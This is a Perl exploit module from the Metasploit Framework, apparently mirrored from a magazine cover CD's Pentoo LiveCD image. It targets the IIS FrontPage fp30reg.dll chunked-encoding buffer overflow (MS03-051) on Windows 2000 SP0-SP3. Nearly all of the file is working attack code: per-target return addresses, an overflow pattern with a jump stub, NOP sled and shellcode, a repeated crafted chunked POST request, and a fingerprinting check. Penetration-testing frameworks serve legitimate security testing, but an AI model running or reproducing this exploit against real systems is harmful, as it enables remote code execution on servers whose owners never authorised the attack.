Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/usr/lib/metasploit/exploits/iis_fp30reg_chunked.pm

Perl POD Document | 2006-06-30 | 4.2 KB | 175 lines

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::iis_fp30reg_chunked;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
    'Name'    => 'IIS FrontPage fp30reg.dll Chunked Overflow',
    'Version' => '$Revision: 1.3 $',
    'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],

    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000' ],
    'Priv'  => 0,

    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 80],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },

    'Payload' =>
      {
        'Space'  => 1024,
        'BadChars'  => "\x00+&=%\x0a\x0d\x20",
      },

    'Description'  => Pex::Text::Freeform(qq{
        This is an exploit for the chunked encoding buffer overflow
    described in MS03-051 and originally reported by Brett
    Moore. This particular modules works against versions of
    Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
    issue.
}),

    'Refs'  =>
      [
        ['OSVDB', '2952'],
        ['MSB',   'MS03-051'],
        ['MIL',   '29'],
      ],

    'DefaultTarget' => 0,
    'Targets' =>
      [
        ['Windows 2000 SP0-SP3',  0x6c38a4d0],   # from mfc42.dll
        ['Windows 2000 07/22/02', 0x67d44eb1],   # from fp30reg.dll 07/22/2002
        ['Windows 2000 10/06/99', 0x67d4665d],   # from fp30reg.dll 10/06/1999
      ],

    'Keys' => ['iis'],

    'DisclosureDate' => 'Nov 11 2003',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit {
    my $self = shift;

    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   =$self->GetVar('EncodedPayload')->Payload;

    my @targets;
    my @offsets;
    my $pad;

    my $ret = defined($target_idx) ? ($self->Targets->[ $target_idx ]->[1]) : $self->Targets->[0]->[1];
    my $pattern = Pex::Text::PatternCreate(0xDEAD);

    if (! $self->InitNops(128)) {
        $self->PrintLine("[*] Failed to initialize the nop module.");
        return;
    }

    my $count = 0;
    while (1)
    {
        if ($count % 3 == 0)
        {
            $self->PrintLine("[*] Refreshing remote process...");
            my $res = $self->Check();
            $count = 0;
        }

        substr($pattern, 128, 4, pack("V", $ret));
        substr($pattern, 264, 4, pack("V", $ret));
        substr($pattern, 160, 7, "\x2d\xff\xfe\xff\xff" . "\xff\xe0");
        substr($pattern, 280, 512, $self->MakeNops(512));
        substr($pattern, 792, length($shellcode), $shellcode);

        my $request;
        $request  = "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
        $request .= "Host: $target_host:$target_port\r\n";
        $request .= "Transfer-Encoding: chunked\r\n";
        $request .= "\r\n";
        $request .= "DEAD\r\n";
        $request .= $pattern . "\r\n";
        $request .= "0\r\n";

        my $s = Msf::Socket::Tcp->new
          (
            'PeerAddr'  => $target_host,
            'PeerPort'  => $target_port,
            'LocalPort' => $self->GetVar('CPORT'),
            'SSL'       => $self->GetVar('SSL'),
          );
        if ($s->IsError) {
            $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
            return;
        }

        $self->PrintLine("[*] Sending exploit request...");
        $s->Send($request);
        sleep(1);
        $s->Close();
        $count++;
    }
    return;
}

sub Check {
    my ($self) = @_;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');

    my $getreq = "GET /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n".
      "Host: $target_host:$target_port\r\n\r\n";

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return $self->CheckCode('Connect');
    }

    $s->Send($getreq);
    my $res = $s->Recv(-1, 10);
    $s->Close();

    if ($res !~ /501 Not Implemented/)
    {
        $self->PrintLine("[*] Frontpage component was not found");
        return $self->CheckCode('Safe');
    }

    $self->PrintLine("[*] Frontpage component found");
    return $self->CheckCode('Detected');
}

1;